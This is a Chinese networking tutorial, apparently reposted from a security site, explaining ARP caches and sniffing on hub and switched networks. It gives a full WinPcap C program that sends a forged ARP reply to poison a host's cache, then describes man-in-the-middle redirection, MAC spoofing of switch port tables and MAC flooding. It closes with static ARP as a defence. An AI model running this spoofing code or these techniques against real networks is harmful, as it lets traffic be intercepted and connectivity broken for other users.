网络通信 频道

交换网络中的嗅探和ARP欺骗

以太网内的嗅探(sniff)对于网络安全来说并不是什么好事,虽然对于网络管理员能够跟踪数据包并且发现网络问题,但是如果被破坏者利用的话,就对整个网络构成严重的安全威胁。至于嗅探的好处和坏处就不罗嗦了。


ARP缓存表假设这样一个网络:

——————————



| HUB |



——————————



HostA HostB HostC

 

 

 

 

其中:

 

A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA

B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB

C的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC

 

 

假设B是属于一个嗅探爱好者的,比如A机器的ARP缓存:

 
C:\>arp -a

Interface: 192.168.10.1 on Interface 0x1000003

Internet Address Physical Address Type

192.168.10.3 CC-CC-CC-CC-CC-CC dynamic

 

 

 

这是192.168.10.1机器上的ARP缓存表,假设,A进行一次ping 192.168.10.3操作,PING主机C,会查询本地的ARP缓存表,找到C的IP地址的MAC地址,那么就会进行数据传输,目的地就是C 的MAC地址。如果A中没有C的ARP记录,那么A首先要广播一次ARP请求,当C接收到A 的请求后就发送一个应答,应答中包含有C的MAC地址,然后A接收到C的应答,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。

集线器网络(Hub-Based)

很多网络都是用Hub进行连接的。数据包经过Hub传输到其他计算机的时候,Hub只是简单地把这个数据包广播到Hub的所有端口上。这就是上面举例中的一种网络结构。

现在A需要发送TCP数据包给C。首先,A需要检查本地的ARP 缓存表,查看是否有IP为192.168.10.3即C的ARP记录,如果没有那么A将要广播一个ARP请求,当C接收到这个请求后,就作出应答,然后A更新自己的ARP缓存表。并获得与C的IP相对应的MAC地址。这时就传输这个TCP数据包,Ethernet帧中就包含了C的MAC地址。当数据包传输到HUB的时候,HUB直接把整个数据包广播到所有的端口,然后C就能够接收到A发送的数据包。

正因为HUB把数据广播到所有的端口,所以计算机B也能够收到A发送给C的数据包。这正是达到了B嗅探的目的。因此,Hub-Based的网络基本没有安全可言,嗅探在这样的网络中非常容易。

交换网络(Switched Lan)

交换机用来代替HUB,正是为了能够解决HUB的几个安全问题,其中就是能够来解决嗅探问题。Switch不是把数据包进行端口广播,它将通过自己的ARP缓存来决定数据包传输到那个端口上。因此,在交换网络上,如果把上面例子中的HUB换为Switch,B就不会接收到A发送给C的数据包,即便设置网卡为混杂模式,也不能进行嗅探。

ARP欺骗(ARP spoofing)

ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,在上面的假设网络中,B向A发送一个自己伪造的ARP应答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A可不知道被伪造了)。现在A机器的ARP缓存更新了:

C:\>arp -a

Interface: 192.168.10.1 on Interface 0x1000003

Internet Address Physical Address Type

192.168.10.3 DD-DD-DD-DD-DD-DD dynamic

 

 

 

这可不是小事。局域网的网络流通可不是根据IP地址进行,而是按照MAC地址进行传输。现在192.168.10.3的MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3,网卡递交的MAC地址是DD-DD-DD-DD-DD-DD,结果是什么呢?网络不通,A根本不能Ping通C!!这就是一个简单的ARP欺骗。

我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。(http://winpcap.polito.it/),winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。

 

// ARP Sender



#include "stdafx.h"



#include "Mac.h" //GetMacAddr(),我写的把字符串转换为MAC地址的函数,就不列在这里了



#include <stdio.h>



#include <Packet32.h>



#define EPT_IP 0x0800 /* type: IP */



#define EPT_ARP 0x0806 /* type: ARP */



#define EPT_RARP 0x8035 /* type: RARP */



#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */



#define ARP_REQUEST 0x0001 /* ARP request */



#define ARP_REPLY 0x0002 /* ARP reply */



#define Max_Num_Adapter 10



#pragma pack(push, 1)



typedef struct ehhdr 



{



unsigned char eh_dst[6]; /* destination ethernet addrress */



unsigned char eh_src[6]; /* source ethernet addresss */



unsigned short eh_type; /* ethernet pachet type */



}EHHDR, *PEHHDR;



typedef struct arphdr



{



unsigned short arp_hrd; /* format of hardware address */



unsigned short arp_pro; /* format of protocol address */



unsigned char arp_hln; /* length of hardware address */



unsigned char arp_pln; /* length of protocol address */



unsigned short arp_op; /* ARP/RARP operation */



unsigned char arp_sha[6]; /* sender hardware address */



unsigned long arp_spa; /* sender protocol address */



unsigned char arp_tha[6]; /* target hardware address */



unsigned long arp_tpa; /* target protocol address */



}ARPHDR, *PARPHDR;



typedef struct arpPacket



{



EHHDR ehhdr;



ARPHDR arphdr;



} ARPPACKET, *PARPPACKET;



#pragma pack(pop)



int main(int argc, char* argv[])



{



static char AdapterList[Max_Num_Adapter][1024]; 



char szPacketBuf[600];



char MacAddr[6];



LPADAPTER lpAdapter;



LPPACKET lpPacket;



WCHAR AdapterName[2048];



WCHAR *temp,*temp1;



ARPPACKET ARPPacket;



ULONG AdapterLength = 1024;



int AdapterNum = 0;



int nRetCode, i;###NextPage###



//Get The list of Adapter



if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)



{



printf("Unable to retrieve the list of the adapters!\n");



return 0;



}



temp = AdapterName;



temp1=AdapterName;



i = 0;



while ((*temp != ''\0'')||(*(temp-1) != ''\0''))



{



if (*temp == ''\0'') 



{



memcpy(AdapterList,temp1,(temp-temp1)*2);



temp1=temp+1;



i++;



}



temp++;



}



AdapterNum = i;



for (i = 0; i < AdapterNum; i++)



wprintf(L"\n%d- %s\n", i+1, AdapterList);



printf("\n");



//Default open the 0



lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);



//取第一个网卡(假设啦)



if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))



{



nRetCode = GetLastError();



printf("Unable to open the driver, Error Code : %lx\n", nRetCode);



return 0;



}



lpPacket = PacketAllocatePacket();



if(lpPacket == NULL)



{



printf("\nError:failed to allocate the LPPACKET structure.");



return 0;



}



ZeroMemory(szPacketBuf, sizeof(szPacketBuf));



if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))



{



printf ("Get Mac address error!\n");



}



memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址



if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))



{



printf ("Get Mac address error!\n");



return 0;



}



memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)



ARPPacket.ehhdr.eh_type = htons(EPT_ARP);



ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);



ARPPacket.arphdr.arp_pro = htons(EPT_IP);



ARPPacket.arphdr.arp_hln = 6;



ARPPacket.arphdr.arp_pln = 4;



ARPPacket.arphdr.arp_op = htons(ARP_REPLY);



if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))



{



printf ("Get Mac address error!\n");



return 0;



}



memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址



ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址



if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))



{



printf ("Get Mac address error!\n");



return 0;



}



memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标A的MAC地址



ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标A的IP地址



memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));



PacketInitPacket(lpPacket, szPacketBuf, 60);



if(PacketSetNumWrites(lpAdapter, 2)==FALSE)



{



printf("warning: Unable to send more than one packet in a single write!\n");



}



if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)



{



printf("Error sending the packets!\n");



return 0;



}



printf ("Send ok!\n");###NextPage###



 



// close the adapter and exit



PacketFreePacket(lpPacket);



PacketCloseAdapter(lpAdapter);



return 0;



}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

于是A接收到一个被伪造的ARP应答。A被欺骗了!!倘若在局域网中看某某机器不顺眼,……以太网中的嗅探太有作用了,但是交换网络对嗅探进行了限制,让嗅探深入程度大打折扣。不过,很容易就能够发现,主机、Switch(动态更新地址表类型,下同)中的缓存表依然是(主要是)动态的。要在一个交换网络中进行有效的嗅探工作(地下党?),需要采用对付各种缓存表的办法,连骗带哄,甚至乱踹,在上面的ARP欺骗基础中我们就能够做到。

对目标进行ARP欺骗

就象上面程序中实现的一样,对目标A进行欺骗,A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。如果进行欺骗的时候,把C的MAC地址骗为BB-BB-BB-BB-BB-BB,于是A发送到C上的数据包都变成发送给B的了。这不正好是B能够接收到A发送的数据包了么,嗅探成功。

A对这个变化一点都没有意识到,但是接下来的事情就让A产生了怀疑。因为A和C连接不上了!!B对接收到A发送给C的数据包可没有转交给C。做“man in the middle”,进行ARP重定向。打开B的IP转发功能,A发送过来的数据包,转发给C,好比一个路由器一样。不过,假如B发送ICMP重定向的话就中断了整个计划。直接进行整个包的修改转发,捕获到A发送给的数据包,全部进行修改后再转发给C,而C接收到的数据包完全认为是从A发送来的。不过,C发送的数据包又直接传递给A,倘若再次进行对C的ARP欺骗。现在B就完全成为A与C的中间桥梁了。

对Switch的MAC欺骗

Switch上同样维护着一个动态的MAC缓存,它一般是这样,首先,交换机内部有一个对应的列表,交换机的端口对应MAC地址表Port n <-> Mac记录着每一个端口下面存在那些MAC地址,这个表开始是空的,交换机从来往数据帧中学习。举例来说,当Port 1口所接的计算机发出了一个数据帧,这帧数据从Port 1进入交换机,交换机就取这个数据帧的原MAC地址AAAA,然后在地址表中记录:Port 1 <-> AAAA, 以后,所有发向MAC地址为AAAA的数据帧,就全从Port 1口输出,而不会从其它的口输出。

跟前面对目标进行欺骗相类似。如果把Switch上的MAC-PORT表修改了,那么对应的MAC和PORT就一样跟着改变,本来不应该发送到嗅探器的数据结果发送过来了,这样也达到了嗅探的目的。修改本地(B)发送的数据包MAC地址为原来A的MAC地址,当经过交换机的时候,交换机发现端口B对应的地址是机器A的MAC地址,于是就将会把A的MAC地址同端口B相对应,从而把发送给A的数据从端口B传输了,本来这些应该是传送到端口A的。因此,从机器B就能够获得发送给A的数据。

但是,这里有一个问题,A将接收不到数据了。嗅探不目的并不是要去破坏正常的数据通讯。同时,从刚才的欺骗中,让交换机中一个MAC地址对应了多个端口,这种对于交换机处理还不清楚。还请多指教。

对Switch进行Flood

就象上面介绍Switch的MAC和Port对应关系形成的原理,因为MAC-PORT缓存表是动态更新的,那么让整个Switch的端口表都改变,对Switch进行MAC地址欺骗的Flood,不断发送大量假MAC地址的数据包,Switch就更新MAC-PORT缓存,如果能通过这样的办法把以前正常的MAC和Port对应的关系破坏了,那么Switch就会进行泛洪发送给每一个端口,让Switch基本变成一个HUB,向所有的端口发送数据包,要嗅探的目的一样能够达到。

存在的问题,Switch对这种极限情况的处理,因为属于不正常情况,可能会引起包丢失情况。而且现在对这种极限情况的Switch状态还很不了解。如果对网络通讯造成了大的破坏,这不属于正常的嗅探(嗅探也会引起一些丢失)。

对Switch进行各种手段的操作,需要小心,如果打开了端口保护,那么可能会让交换机关闭所有用户。因此,对交换机这样的设备进行欺骗或者其他操作,还不如对一些上级设备进行欺骗,比如目标主机或者路由器。

至于上面关于嗅探的手段都是基于这个动态表进行的。因此,使用静态的ARP就能够进行防范了。对于WIN,使用arp -s 来进行静态ARP的设置。

转载地址:http://www.netsp.com.cn/Article/netsafe/others/200702/20070205093520.html

0
相关文章